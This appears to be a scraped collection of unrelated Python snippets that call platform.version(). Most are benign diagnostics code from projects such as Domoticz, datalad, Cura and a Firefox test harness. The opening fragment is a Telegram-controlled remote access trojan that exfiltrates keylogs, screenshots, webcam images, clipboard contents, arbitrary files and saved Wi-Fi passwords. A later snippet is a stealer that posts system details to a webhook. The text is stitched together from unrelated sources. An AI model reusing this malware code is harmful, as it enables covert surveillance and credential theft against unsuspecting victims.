        with open(log_dir + "KeyLogs.txt", 'rb') as doc:
            bot.sendDocument(chat_id, doc)

    if '/removekeylog' in text:
        try:
            file = open(log_dir + "KeyLogs.txt", "w")
            file.close()
            msg = " Logs cleared Successfully"
            bot.sendMessage(chat_id, msg)
        except:
            msg = " Sorry Try Again"
            bot.sendMessage(chat_id, msg)

    if '/screen' in text:
        cmd = text.split()
        name_img = cmd[1]
        screenshot = pyautogui.screenshot(name_img)
        with open(name_img, 'rb') as doc:
            bot.sendDocument(chat_id, doc)
        os.remove(name_img)

    if '/down' in text:
        cmd = text.split()
        filename = cmd[1]
        with open(filename, 'rb') as doc:
            bot.sendDocument(chat_id, doc)

    if '/webcam' in text:
        img_name = text.split()
        img_n = img_name[1]
        camera_port = 0
        camera = cv2.VideoCapture(camera_port)
        time.sleep(0.5)  # For not capture black screen
        return_value, image = camera.read()
        cv2.imwrite(img_n, image)
        del (camera)
        time.sleep(1)
        with open(img_n, 'rb') as doc:
            bot.sendDocument(chat_id, doc)
        os.remove(img_n)

    if '/delete' in text:
        file = text.split()
        ex_file = file[1]
        os.remove(ex_file)  # remove files
        bot.sendMessage(chat_id,
                        "[+] File {} has been removed!").format(ex_file)

    if '/wifi' in text:
        all = ""
        data = subprocess.check_output(
            ['netsh', 'wlan', 'show',
             'profiles']).decode('utf-8',
                                 errors="backslashreplace").split('\n')
        profiles = [
            i.split(":")[1][1:-1] for i in data if "All User Profile" in i
        ]
        for i in profiles:
            results = subprocess.check_output([
                'netsh', 'wlan', 'show', 'profile', i, 'key=clear'
            ]).decode('utf-8', errors="backslashreplace").split('\n')
            results = [
                b.split(":")[1][1:-1] for b in results if "Key Content" in b
            ]
            try:
                message = ("{:<30} -  {:<}\n".format(i, results[0]))
                all = all + "\n" + message
            except IndexError:
                message = ("{:<30} -  {:<}\n".format(i, ""))
                all = all + "\n" + message
        bot.sendMessage(chat_id, all)

    if '/info' in text:
        hostname = socket.gethostname()
        IPAddr = socket.gethostbyname(hostname)
        try:
            public_ip = get('https://api.ipify.org').text
            msg1 = ("Public IP Address: " + public_ip + "\n")
        except Exception:
            msg1 = ("Could not get Public IP Address\n")
        msg2 = ("Processor: " + (platform.processor()) + "\n")
        msg3 = ("System: " + platform.system() + " " + platform.version() +
                "\n")
        msg4 = ("Machine: " + platform.machine() + "\n")
        msg5 = ("Hostname: " + hostname + "\n")
        msg6 = ("Private IP Address: " + IPAddr + "\n")
        msg7 = ("Platform Release: " + platform.release() + "\n")
        msg8 = ("OS version: " + platform.platform())
        msg = msg1 + "\n" + msg2 + "\n" + msg3 + "\n" + msg4 + "\n" + msg5 + "\n" + msg6 + "\n" + msg7 + "\n" + msg8
        bot.sendMessage(chat_id, msg)

    if '/clip' in text:
        try:
            win32clipboard.OpenClipboard()
            pasted_data = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            clipb = ("Clipboard Data: \n" + pasted_data)
        except:
            clipb = ("Clipboard Data could not be Copied")
        bot.sendMessage(chat_id, clipb)

    if '/detail_info' in text:
        myCmd = os.popen('systeminfo')
        file_command = open("Systeminfo.txt", 'w')

        for line in myCmd.read():
            file_command.write(line)

        file_command.close()

        with open("Systeminfo.txt", 'rb') as sysinfo:
            bot.sendDocument(chat_id, sysinfo)

        os.remove("Systeminfo.txt")
Exemple #34
0
    def onStart(self):

        Domoticz.Debug("onStart called")

        if Parameters["Mode6"] == 'Debug':
            self.debug = True
            Domoticz.Debugging(1)
            DumpConfigToLog()
        else:
            Domoticz.Debugging(0)


        Domoticz.Log("Domoticz Node Name is:" + platform.node())
        Domoticz.Log("Domoticz Platform System is:" + platform.system())
        Domoticz.Debug("Domoticz Platform Release is:" + platform.release())
        Domoticz.Debug("Domoticz Platform Version is:" + platform.version())
        Domoticz.Log("Default Python Version is:" + str(sys.version_info[0]) + "." + str(sys.version_info[1]) + "." + str(sys.version_info[2]) + ".")

        if platform.system() == "Windows":
            Domoticz.Error("Windows Platform NOT YET SUPPORTED!!")
            return


        pluginText = ""
        pluginAuthor = ""
        pluginRepository = ""
        pluginKey = ""

        pluginKey = Parameters["Mode2"]
        pluginAuthor = self.plugindata[pluginKey][0]
        pluginRepository = self.plugindata[pluginKey][1]
        pluginText = self.plugindata[pluginKey][2]


 



        
        
        
        if (Parameters["Mode5"] == 'True'):
            Domoticz.Log("Plugin Security Scan is enabled")
            
            # Reading secpoluserFile and populating array of values
            secpoluserFile = str(os.getcwd()) + "/plugins/PP-MANAGER/secpoluser.txt"

            Domoticz.Debug("Checking for SecPolUser file on:" + secpoluserFile)
            if (os.path.isfile(secpoluserFile) == True):
                Domoticz.Log("secpoluser file found. Processing!!!")

                # Open the file
                secpoluserFileHandle = open(secpoluserFile)

                # use readline() to read the first line 
                line = secpoluserFileHandle.readline()

                while line:
                    if mid(line,0,4) == "--->":
                        secpoluserSection = mid(line,4,len(line))
                        Domoticz.Log("secpoluser settings found for plugin:" + secpoluserSection)
                    if ((mid(line,0,4) != "--->") and (line.strip() != "") and (line.strip() != " ")):
                        Domoticz.Debug("SecPolUserList exception (" + secpoluserSection.strip() + "):'" + line.strip() + "'")
                        #SecPolUserList.append(line.strip())
                        #SecPolUserList[secpoluserSection].append(line.strip())
                        if secpoluserSection.strip() not in self.SecPolUserList:
                            self.SecPolUserList[secpoluserSection.strip()] = []
                        self.SecPolUserList[secpoluserSection.strip()].append(line.strip())
                    # use realine() to read next line
                    line = secpoluserFileHandle.readline()
                secpoluserFileHandle.close()
                Domoticz.Log("SecPolUserList exception:" + str(self.SecPolUserList))
            else:
                self.SecPolUserList = {"Global":[]}
            
            
            i = 0
            path = str(os.getcwd()) + "/plugins/"
            for (path, dirs, files) in os.walk(path):
                for dir in dirs:
                    if str(dir) != "":
                        #self.UpdatePythonPlugin(pluginAuthor, pluginRepository, str(dir))
                        #parseFileForSecurityIssues(str(os.getcwd()) + "/plugins/PP-MANAGER/plugin.py")
                        if (os.path.isfile(str(os.getcwd()) + "/plugins/" + str(dir) + "/plugin.py") == True):
                            self.parseFileForSecurityIssues(str(os.getcwd()) + "/plugins/" + str(dir) + "/plugin.py", str(dir))
                i += 1
                if i >= 1:
                   break
        





        
        # Reading exception file and populating array of values
        exceptionFile = str(os.getcwd()) + "/plugins/PP-MANAGER/exceptions.txt"
        Domoticz.Debug("Checking for Exception file on:" + exceptionFile)
        if (os.path.isfile(exceptionFile) == True):
            Domoticz.Log("Exception file found. Processing!!!")

            # Open the file
            f = open(exceptionFile)

            # use readline() to read the first line 
            line = f.readline()

            while line:

                if ((line[:1].strip() != "#") and (line[:1].strip() != " ") and (line[:1].strip() != "")):
                    Domoticz.Log("File ReadLine result:'" + line.strip() + "'")
                    self.ExceptionList.append(line.strip())    
                # use realine() to read next line
                line = f.readline()
            f.close()
        Domoticz.Debug("self.ExceptionList:" + str(self.ExceptionList))

        
        
        
        
        
        
        if Parameters["Mode4"] == 'All':
            Domoticz.Log("Updating All Plugins!!!")
            i = 0
            path = str(os.getcwd()) + "/plugins/"
            for (path, dirs, files) in os.walk(path):
                for dir in dirs:
                    if str(dir) != "":
                        if str(dir) in self.plugindata:
                            self.UpdatePythonPlugin(pluginAuthor, pluginRepository, str(dir))
                        elif str(dir) == "PP-MANAGER":
                            Domoticz.Debug("PP-Manager Folder found. Skipping!!")      
                        else:
                            Domoticz.Log("Plugin:" + str(dir) + " cannot be managed with PP-Manager!!.")      
                i += 1
                if i >= 1:
                   break

        if Parameters["Mode4"] == 'AllNotify':
            Domoticz.Log("Collecting Updates for All Plugins!!!")
            i = 0
            path = str(os.getcwd()) + "/plugins/"
            for (path, dirs, files) in os.walk(path):
                for dir in dirs:
                    if str(dir) != "":
                        if str(dir) in self.plugindata:
                            self.CheckForUpdatePythonPlugin(pluginAuthor, pluginRepository, str(dir))
                        elif str(dir) == "PP-MANAGER":
                            Domoticz.Debug("PP-Manager Folder found. Skipping!!")      
                        else:
                            Domoticz.Log("Plugin:" + str(dir) + " cannot be managed with PP-Manager!!.")      
                i += 1
                if i >= 1:
                   break

        if (Parameters["Mode4"] == 'SelectedNotify'): 
                Domoticz.Log("Collecting Updates for Plugin:" + pluginKey)
                self.CheckForUpdatePythonPlugin(pluginAuthor, pluginRepository, pluginKey)
           

        if pluginKey == "Idle":
            Domoticz.Log("Plugin Idle")
            Domoticz.Heartbeat(60)
        else:
            Domoticz.Debug("Checking for dir:" + str(os.getcwd()) + "/plugins/" + pluginKey)
            #If plugin Directory exists
            if (os.path.isdir(str(os.getcwd()) + "/plugins/" + pluginKey)) == True:
                Domoticz.Debug("Folder for Plugin:" + pluginKey + " already exists!!!")
                #Domoticz.Debug("Set 'Python Plugin Manager'/ 'Domoticz plugin' attribute to 'idle' in order t.")
                if Parameters["Mode4"] == 'Selected':
                    Domoticz.Debug("Updating Enabled for Plugin:" + pluginText + ".Checking For Update!!!")
                    self.UpdatePythonPlugin(pluginAuthor, pluginRepository, pluginKey)
                Domoticz.Heartbeat(60)
            else:
               Domoticz.Log("Installation requested for Plugin:" + pluginText)
               Domoticz.Debug("Installation URL is:" + "https://github.com/" + pluginAuthor +"/" + pluginRepository)
               Domoticz.Debug("Current Working dir is:" + str(os.getcwd()))
               if pluginKey in self.plugindata:
                    Domoticz.Log("Plugin Display Name:" + pluginText)
                    Domoticz.Log("Plugin Author:" + pluginAuthor)
                    Domoticz.Log("Plugin Repository:" + pluginRepository)
                    Domoticz.Log("Plugin Key:" + pluginKey)
                    self.InstallPythonPlugin(pluginAuthor, pluginRepository, pluginKey)
               Domoticz.Heartbeat(60)
Exemple #35
0
    def __call__(dataset=None, sensitive=None, clipboard=None):
        from datalad import get_encoding_info
        from datalad import get_envvars_info

        from datalad.distribution.dataset import require_dataset
        from datalad.support.exceptions import NoDatasetArgumentFound
        ds = None
        try:
            ds = require_dataset(dataset, check_installed=False, purpose='reporting')
        except NoDatasetArgumentFound:
            # failure is already logged
            pass
        if ds and not ds.is_installed():
            # we don't deal with absent datasets
            ds = None
        if sensitive:
            if ds is None:
                from datalad import cfg
            else:
                cfg = ds.config
        else:
            cfg = None

        from pkg_resources import iter_entry_points
        from datalad.ui import ui
        from datalad.api import metadata
        from datalad.support.external_versions import external_versions
        from datalad.dochelpers import exc_str
        from datalad.interface.results import success_status_map
        import os
        import platform as pl
        import json

        extractors={}
        for ep in iter_entry_points('datalad.metadata.extractors'):
            try:
                ep.load()
                status = 'OK'
            except Exception as e:
                status = 'BROKEN ({})'.format(exc_str(e))
            extractors[ep.name] = status

        # formatting helper
        def _t2s(t):
            res = []
            for e in t:
                if isinstance(e, tuple):
                    es = _t2s(e)
                    if es != '':
                        res += ['(%s)' % es]
                elif e != '':
                    res += [e]
            return '/'.join(res)


        report_template = """\
DataLad
=======
{datalad}

System
======
{system}

Locale/Encoding
===============
{loc}

Environment
===========
{env}

Externals
=========
{externals}
Installed extensions
====================
{extensions}

Known metadata extractors
=========================
{metaextractors}

Configuration
=============
{cfg}
{dataset}
"""

        dataset_template = """\

Dataset information
===================
{basic}

Metadata
--------
{meta}
"""
        ds_meta = None
        if not sensitive:
            ds_meta = _HIDDEN
        elif ds and ds.is_installed() and ds.id:
            ds_meta = metadata(
                dataset=ds, reporton='datasets', return_type='list',
                result_filter=lambda x: x['action'] == 'metadata' and success_status_map[x['status']] == 'success',
                result_renderer='disabled', on_failure='ignore')
            if ds_meta:
                ds_meta = [dm['metadata'] for dm in ds_meta]
                if len(ds_meta) == 1:
                    ds_meta = ds_meta.pop()

        if cfg is not None:
            # make it into a dict to be able to reassign
            cfg = dict(cfg.items())

        if sensitive != 'all' and cfg:
            # filter out some of the entries which known to be highly sensitive
            for k in cfg.keys():
                if 'user' in k or 'token' in k or 'passwd' in k:
                    cfg[k] = _HIDDEN

        from datalad.version import __version__, __full_version__
        text = report_template.format(
            datalad=_format_dict([
                ('Version', __version__),
                ('Full version', __full_version__)
            ], indent=True),
            system=_format_dict([
                ('OS', ' '.join([
                    os.name,
                    pl.system(),
                    pl.release(),
                    pl.version()]).rstrip()),
                ('Distribution',
                 ' '.join([_t2s(pl.dist()),
                           _t2s(pl.mac_ver()),
                           _t2s(pl.win32_ver())]).rstrip())
            ], indent=True),
            loc=_format_dict(get_encoding_info(), indent=True),  # , fmt="{}={!r}"),
            env=_format_dict(get_envvars_info(), fmt="{}={!r}"),
            dataset='' if not ds else dataset_template.format(
                basic=_format_dict([
                    ('path', ds.path),
                    ('repo', ds.repo.__class__.__name__ if ds.repo else '[NONE]'),
                ]),
                meta=_HIDDEN if not sensitive
                     else json.dumps(ds_meta, indent=1)
                     if ds_meta else '[no metadata]'
            ),
            externals=external_versions.dumps(preamble=None, indent='', query=True),
            extensions='\n'.join(ep.name for ep in iter_entry_points('datalad.extensions')),
            metaextractors=_format_dict(extractors),
            cfg=_format_dict(sorted(cfg.items(), key=lambda x: x[0]))
                if cfg else _HIDDEN,
        )
        if clipboard:
            from datalad.support.external_versions import external_versions
            external_versions.check(
                'pyperclip', msg="It is needed to be able to use clipboard")
            import pyperclip
            pyperclip.copy(text)
            ui.message("WTF information of length %s copied to clipboard"
                       % len(text))
        else:
            ui.message(text)
        yield
Exemple #36
0
def get_diagnostic_information():
    '''Get diagnostic information about the system state that is suitable for printing or logging

    returns: dict

    note: Python bitness may be incorrect when running in a virtual environment
    '''
    import os
    import pkg_resources
    import platform
    import struct
    import sys

    def is_python_64bit():
        return (struct.calcsize("P") == 8)

    def is_os_64bit():
        return platform.machine().endswith('64')

    def is_venv():
        return 'VIRTUAL_ENV' in os.environ

    info = {}
    info['os'] = {}
    info['python'] = {}
    info['driver'] = {}
    info['module'] = {}
    if platform.system() == 'Windows':
        try:
            import winreg as winreg
        except ImportError:
            import _winreg as winreg

        os_name = 'Windows'
        try:
            driver_version_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\National Instruments\NI-SCOPE\CurrentVersion")
            driver_version = winreg.QueryValueEx(driver_version_key, "Version")[0]
        except WindowsError:
            driver_version = 'Unknown'
    elif platform.system() == 'Linux':
        os_name = 'Linux'
        driver_version = 'Unknown'
    else:
        raise SystemError('Unsupported platform: {}'.format(platform.system()))

    installed_packages = pkg_resources.working_set
    installed_packages_list = [{'name': i.key, 'version': i.version, } for i in installed_packages]

    info['os']['name'] = os_name
    info['os']['version'] = platform.version()
    info['os']['bits'] = '64' if is_os_64bit() else '32'
    info['driver']['name'] = "NI-SCOPE"
    info['driver']['version'] = driver_version
    info['module']['name'] = 'niscope'
    info['module']['version'] = "1.1.3.dev0"
    info['python']['version'] = sys.version
    info['python']['bits'] = '64' if is_python_64bit() else '32'
    info['python']['is_venv'] = is_venv()
    info['python']['packages'] = installed_packages_list

    return info
Exemple #37
0
    whoami /priv > Files\systemperms.txt
    exit
    ''')

    os.system("start priv.cmd")


priv()

ss = pyautogui.screenshot()

ss.save("Files\image.jpg")

machine1 = platform.machine()
version1 = platform.version()
platform1 = platform.platform()
uname1 = platform.uname()
system1 = platform.system()
process1 = platform.processor()
computername = socket.gethostname()
localipaddress = socket.gethostbyname(computername)
boottime = datetime.fromtimestamp(psutil.boot_time())

url = "WEBHOOK HERE"  # PUT WEBHOOK HERE


def ipaddrr():

    payloads = {
        "content":
Exemple #38
0
    def start(self, group_metadata=None, **kwargs):
        if group_metadata is None:
            group_metadata = {}

        self.group_metadata = group_metadata
        self.lsan_allowed = kwargs.get("lsan_allowed")
        self.lsan_max_stack_depth = kwargs.get("lsan_max_stack_depth")
        self.mozleak_allowed = kwargs.get("mozleak_allowed")
        self.mozleak_thresholds = kwargs.get("mozleak_thresholds")

        if self.marionette_port is None:
            self.marionette_port = get_free_port()

        if self.asan:
            self.lsan_handler = mozleak.LSANLeaks(self.logger,
                                                  scope=group_metadata.get("scope", "/"),
                                                  allowed=self.lsan_allowed,
                                                  maxNumRecordedFrames=self.lsan_max_stack_depth)

        env = test_environment(xrePath=os.path.dirname(self.binary),
                               debugger=self.debug_info is not None,
                               log=self.logger,
                               lsanPath=self.lsan_dir)

        env["STYLO_THREADS"] = str(self.stylo_threads)
        if self.chaos_mode_flags is not None:
            env["MOZ_CHAOSMODE"] = str(self.chaos_mode_flags)
        if self.headless:
            env["MOZ_HEADLESS"] = "1"
        if self.enable_webrender:
            env["MOZ_WEBRENDER"] = "1"
            env["MOZ_ACCELERATED"] = "1"
        else:
            env["MOZ_WEBRENDER"] = "0"

        preferences = self.load_prefs()

        self.profile = FirefoxProfile(preferences=preferences)
        self.profile.set_preferences({
            "marionette.port": self.marionette_port,
            "network.dns.localDomains": ",".join(self.config.domains_set),
            "dom.file.createInChild": True,
            # TODO: Remove preferences once Firefox 64 is stable (Bug 905404)
            "network.proxy.type": 0,
            "places.history.enabled": False,
            "network.preload": True,
        })
        if self.e10s:
            self.profile.set_preferences({"browser.tabs.remote.autostart": True})

        if self.test_type == "reftest":
            self.profile.set_preferences({"layout.interruptible-reflow.enabled": False})

        if self.leak_check:
            self.leak_report_file = os.path.join(self.profile.profile, "runtests_leaks_%s.log" % os.getpid())
            if os.path.exists(self.leak_report_file):
                os.remove(self.leak_report_file)
            env["XPCOM_MEM_BLOAT_LOG"] = self.leak_report_file
        else:
            self.leak_report_file = None

        # Bug 1262954: winxp + e10s, disable hwaccel
        if (self.e10s and platform.system() in ("Windows", "Microsoft") and
            '5.1' in platform.version()):
            self.profile.set_preferences({"layers.acceleration.disabled": True})

        if self.ca_certificate_path is not None:
            self.setup_ssl()

        args = self.binary_args[:] if self.binary_args else []
        args += [cmd_arg("marionette"), "about:blank"]

        debug_args, cmd = browser_command(self.binary,
                                          args,
                                          self.debug_info)

        self.runner = FirefoxRunner(profile=self.profile,
                                    binary=cmd[0],
                                    cmdargs=cmd[1:],
                                    env=env,
                                    process_class=ProcessHandler,
                                    process_args={"processOutputLine": [self.on_output]})

        self.logger.debug("Starting Firefox")

        self.runner.start(debug_args=debug_args, interactive=self.debug_info and self.debug_info.interactive)
        self.logger.debug("Firefox Started")
import platform


def showinfo(tip, info):
    print("{}:{}".format(tip, info))


showinfo("操作系统及版本信息", platform.platform())
showinfo('获取系统版本号', platform.version())
showinfo('获取系统名称', platform.system())
showinfo('系统位数', platform.architecture())
showinfo('计算机类型', platform.machine())
showinfo('计算机名称', platform.node())
showinfo('处理器类型', platform.processor())
showinfo('计算机相关信息', platform.uname())
Exemple #40
0
profile = [
    platform.architecture(),
    platform.dist(),
    platform.libc_ver(),
    platform.mac_ver(),
    platform.machine(),
    platform.node(),
    platform.platform(),
    platform.processor(),
    platform.python_build(),
    platform.python_compiler(),
    platform.python_version(),
    platform.system(),
    platform.uname(),
    platform.version(),
]

for item in profile:
    print item  # Script Name		: logs.py
# Author				: Craig Richards
# Created				: 13th October 2011
# Last Modified		:
# Version				: 1.1
# Description			: This script will search for all *.log files in the given directory, zip them using the program you specify and then date stamp them

# Modifications		: 1.1 - Added the variable zip_program so you can set it for the zip program on whichever OS, so to run on a different OS just change the locations of these two variables.

import os  # Load the Library Module
from time import strftime  # Load just the strftime Module from Time
Exemple #41
0
import sys
import os
import platform

colors = True  # Output should be colored
machine = sys.platform  # Detecting the os of current system
checkplatform = platform.platform()  # Get current version of OS
if machine.lower().startswith(('os', 'win', 'darwin', 'ios')):
    colors = False  # Colors shouldn't be displayed in mac & windows
if checkplatform.startswith("Windows-10") and int(
        platform.version().split(".")[2]) >= 10586:
    colors = True
    os.system('')  # Enables the ANSI
if not colors:
    end = red = white = green = yellow = run = bad = good = info = que = ''
else:
    white = '\033[97m'
    green = '\033[92m'
    red = '\033[91m'
    yellow = '\033[93m'
    end = '\033[0m'
    back = '\033[7;91m'
    info = '\033[93m[!]\033[0m'
    que = '\033[94m[?]\033[0m'
    bad = '\033[91m[-]\033[0m'
    good = '\033[92m[+]\033[0m'
    run = '\033[97m[~]\033[0m'
Exemple #42
0
import wmi
import win32con  # noqa
import platform
import socket

c = wmi.WMI()

# 系统信息
print('操作系统名称' + platform.platform()[:-(len(platform.version()) + 1)])
print('操作系统版本号' + platform.version())
print('操作系统的位数' + platform.architecture()[0])
hostname = socket.getfqdn(socket.gethostname())
ip = socket.gethostbyname(hostname)
print('ip:' + ip)


# CPU信息
def get_CPU():
    cpumsg = []
    for cpu in c.Win32_Processor():
        tmpmsg = {}
        tmpmsg['Name'] = cpu.Name
        cpumsg.append(tmpmsg)

    print(cpumsg)


# 内存信息
def get_PhysicalMemory():

    memorys = []
Exemple #43
0
 def getVersionString(self):
     return platform.version()
Exemple #44
0
    async def hostinfo(self, ctx):
        """List info about the bot's host environment."""

        message = await self.bot.send_message(ctx.message.channel,
                                              'Gathering info...')

        # cpuCores    = psutil.cpu_count(logical=False)
        # cpuThred    = psutil.cpu_count()
        cpuThred = os.cpu_count()
        cpuUsage = psutil.cpu_percent(interval=1)
        memStats = psutil.virtual_memory()
        memPerc = memStats.percent
        memUsed = memStats.used
        memTotal = memStats.total
        memUsedGB = "{0:.1f}".format(((memUsed / 1024) / 1024) / 1024)
        memTotalGB = "{0:.1f}".format(((memTotal / 1024) / 1024) / 1024)
        currentOS = platform.platform()
        system = platform.system()
        release = platform.release()
        version = platform.version()
        processor = platform.processor()
        botMember = DisplayName.memberForID(self.bot.user.id,
                                            ctx.message.server)
        botName = DisplayName.name(botMember)
        currentTime = int(time.time())
        timeString = ReadableTime.getReadableTimeBetween(
            self.startTime, currentTime)
        pythonMajor = sys.version_info.major
        pythonMinor = sys.version_info.minor
        pythonMicro = sys.version_info.micro
        pythonRelease = sys.version_info.releaselevel
        process = subprocess.Popen(['git', 'rev-parse', '--short', 'HEAD'],
                                   shell=False,
                                   stdout=subprocess.PIPE)
        git_head_hash = process.communicate()[0].strip()

        threadString = 'thread'
        if not cpuThred == 1:
            threadString += 's'

        msg = '***{}\'s*** **Home:**\n'.format(botName)
        msg += '```\n'
        msg += 'OS       : {}\n'.format(currentOS)
        msg += 'Hostname : {}\n'.format(platform.node())
        msg += 'Language : Python {}.{}.{} {}\n'.format(
            pythonMajor, pythonMinor, pythonMicro, pythonRelease)
        msg += 'Commit   : {}\n\n'.format(git_head_hash.decode("utf-8"))
        msg += ProgressBar.center(
            '{}% of {} {}'.format(cpuUsage, cpuThred, threadString),
            'CPU') + '\n'
        msg += ProgressBar.makeBar(int(round(cpuUsage))) + "\n\n"
        #msg += '{}% of {} {}\n\n'.format(cpuUsage, cpuThred, threadString)
        #msg += '{}% of {} ({} {})\n\n'.format(cpuUsage, processor, cpuThred, threadString)
        msg += ProgressBar.center(
            '{} ({}%) of {}GB used'.format(memUsedGB, memPerc, memTotalGB),
            'RAM') + '\n'
        msg += ProgressBar.makeBar(int(round(memPerc))) + "\n\n"
        #msg += '{} ({}%) of {}GB used\n\n'.format(memUsedGB, memPerc, memTotalGB)
        msg += '{} uptime```'.format(timeString)

        await self.bot.edit_message(message, msg)
Exemple #45
0
    def Run(self, unused_arg):
        # psutil will cause an active loop on Windows 2000
        if platform.system() == "Windows" and platform.version().startswith(
                "5.0"):
            raise RuntimeError("ListProcesses not supported on Windows 2000")

        for proc in psutil.process_iter():
            response = rdf_client.Process()
            process_fields = [
                "pid", "ppid", "name", "exe", "username", "terminal"
            ]

            for field in process_fields:
                try:
                    value = getattr(proc, field)
                    if value is None:
                        continue

                    if callable(value):
                        value = value()

                    if not isinstance(value, (int, long)):
                        value = utils.SmartUnicode(value)

                    setattr(response, field, value)
                except (psutil.NoSuchProcess, psutil.AccessDenied,
                        AttributeError):
                    pass

            try:
                for arg in proc.cmdline():
                    response.cmdline.append(utils.SmartUnicode(arg))
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                response.nice = proc.nice()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                # Not available on Windows.
                if hasattr(proc, "uids"):
                    (response.real_uid, response.effective_uid,
                     response.saved_uid) = proc.uids()
                    (response.real_gid, response.effective_gid,
                     response.saved_gid) = proc.gids()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                response.ctime = long(proc.create_time() * 1e6)
                response.status = str(proc.status())
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                # Not available on OSX.
                if hasattr(proc, "cwd"):
                    response.cwd = utils.SmartUnicode(proc.cwd())
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                response.num_threads = proc.num_threads()
            except (psutil.NoSuchProcess, psutil.AccessDenied, RuntimeError):
                pass

            try:
                (response.user_cpu_time,
                 response.system_cpu_time) = proc.cpu_times()
                # This is very time consuming so we do not collect cpu_percent here.
                # response.cpu_percent = proc.get_cpu_percent()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            try:
                pmem = proc.memory_info()
                response.RSS_size = pmem.rss
                response.VMS_size = pmem.vms
                response.memory_percent = proc.memory_percent()
            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            # Due to a bug in psutil, this function is disabled for now
            # (https://github.com/giampaolo/psutil/issues/340)
            # try:
            #  for f in proc.open_files():
            #    response.open_files.append(utils.SmartUnicode(f.path))
            # except (psutil.NoSuchProcess, psutil.AccessDenied):
            #  pass

            try:
                for c in proc.connections():
                    conn = response.connections.Append(family=c.family,
                                                       type=c.type,
                                                       pid=proc.pid)

                    try:
                        conn.state = c.status
                    except ValueError:
                        logging.info(
                            "Encountered unknown connection status (%s).",
                            c.status)

                    try:
                        conn.local_address.ip, conn.local_address.port = c.laddr

                        # Could be in state LISTEN.
                        if c.raddr:
                            conn.remote_address.ip, conn.remote_address.port = c.raddr
                    except AttributeError:
                        conn.local_address.ip, conn.local_address.port = c.local_address

                        # Could be in state LISTEN.
                        if c.remote_address:
                            (conn.remote_address.ip,
                             conn.remote_address.port) = c.remote_address

            except (psutil.NoSuchProcess, psutil.AccessDenied):
                pass

            self.SendReply(response)
            # Reading information here is slow so we heartbeat between processes.
            self.Progress()
Exemple #46
0
 def test_system_alias(self):
     res = platform.system_alias(
         platform.system(),
         platform.release(),
         platform.version(),
     )
Exemple #47
0
        'Framework.code',
        'Framework.components',
        'urllib2'
    ],

    # Plugin + System details
    'release': VERSION,
    'tags': {
        # Plugin
        'plugin.version': VERSION,
        'plugin.branch': PLUGIN_VERSION_BRANCH,

        # System
        'os.system': platform.system(),
        'os.release': platform.release(),
        'os.version': platform.version()
    }
}


class ErrorReporter(Client):
    server = 'sentry.skipthe.net'
    key = '51814d6692f142ad88393d90a606643a:02374118037e4908a0dc627fcba3e613'
    project = 1

    def __init__(self, dsn=None, raise_send_errors=False, **options):
        # Build URI
        if dsn is None:
            dsn = self.build_dsn()

        # Construct raven client
Exemple #48
0
    def _onWriteStarted(self, output_device):
        try:
            if not Preferences.getInstance().getValue("info/send_slice_info"):
                Logger.log("d", "'info/send_slice_info' is turned off.")
                return  # Do nothing, user does not want to send data

            global_container_stack = Application.getInstance(
            ).getGlobalContainerStack()
            print_information = Application.getInstance().getPrintInformation()

            data = dict()  # The data that we're going to submit.
            data["time_stamp"] = time.time()
            data["schema_version"] = 0
            data["cura_version"] = Application.getInstance().getVersion()

            active_mode = Preferences.getInstance().getValue(
                "cura/active_mode")
            if active_mode == 0:
                data["active_mode"] = "recommended"
            else:
                data["active_mode"] = "custom"

            definition_changes = global_container_stack.definitionChanges
            machine_settings_changed_by_user = False
            if definition_changes.getId() != "empty":
                # Now a definition_changes container will always be created for a stack,
                # so we also need to check if there is any instance in the definition_changes container
                if definition_changes.getAllKeys():
                    machine_settings_changed_by_user = True

            data[
                "machine_settings_changed_by_user"] = machine_settings_changed_by_user
            data["language"] = Preferences.getInstance().getValue(
                "general/language")
            data["os"] = {
                "type": platform.system(),
                "version": platform.version()
            }

            data["active_machine"] = {
                "definition_id":
                global_container_stack.definition.getId(),
                "manufacturer":
                global_container_stack.definition.getMetaData().get(
                    "manufacturer", "")
            }

            # add extruder specific data to slice info
            data["extruders"] = []
            extruders = list(ExtruderManager.getInstance().getMachineExtruders(
                global_container_stack.getId()))
            extruders = sorted(
                extruders,
                key=lambda extruder: extruder.getMetaDataEntry("position"))

            for extruder in extruders:
                extruder_dict = dict()
                extruder_dict["active"] = ExtruderManager.getInstance(
                ).getActiveExtruderStack() == extruder
                extruder_dict["material"] = {
                    "GUID": extruder.material.getMetaData().get("GUID", ""),
                    "type":
                    extruder.material.getMetaData().get("material", ""),
                    "brand": extruder.material.getMetaData().get("brand", "")
                }
                extruder_dict[
                    "material_used"] = print_information.materialLengths[int(
                        extruder.getMetaDataEntry("position", "0"))]
                extruder_dict["variant"] = extruder.variant.getName()
                extruder_dict["nozzle_size"] = extruder.getProperty(
                    "machine_nozzle_size", "value")

                extruder_settings = dict()
                extruder_settings["wall_line_count"] = extruder.getProperty(
                    "wall_line_count", "value")
                extruder_settings["retraction_enable"] = extruder.getProperty(
                    "retraction_enable", "value")
                extruder_settings[
                    "infill_sparse_density"] = extruder.getProperty(
                        "infill_sparse_density", "value")
                extruder_settings["infill_pattern"] = extruder.getProperty(
                    "infill_pattern", "value")
                extruder_settings[
                    "gradual_infill_steps"] = extruder.getProperty(
                        "gradual_infill_steps", "value")
                extruder_settings[
                    "default_material_print_temperature"] = extruder.getProperty(
                        "default_material_print_temperature", "value")
                extruder_settings[
                    "material_print_temperature"] = extruder.getProperty(
                        "material_print_temperature", "value")
                extruder_dict["extruder_settings"] = extruder_settings
                data["extruders"].append(extruder_dict)

            data[
                "quality_profile"] = global_container_stack.quality.getMetaData(
                ).get("quality_type")

            data["models"] = []
            # Listing all files placed on the build plate
            for node in DepthFirstIterator(CuraApplication.getInstance(
            ).getController().getScene().getRoot()):
                if node.callDecoration("isSliceable"):
                    model = dict()
                    model["hash"] = node.getMeshData().getHash()
                    bounding_box = node.getBoundingBox()
                    model["bounding_box"] = {
                        "minimum": {
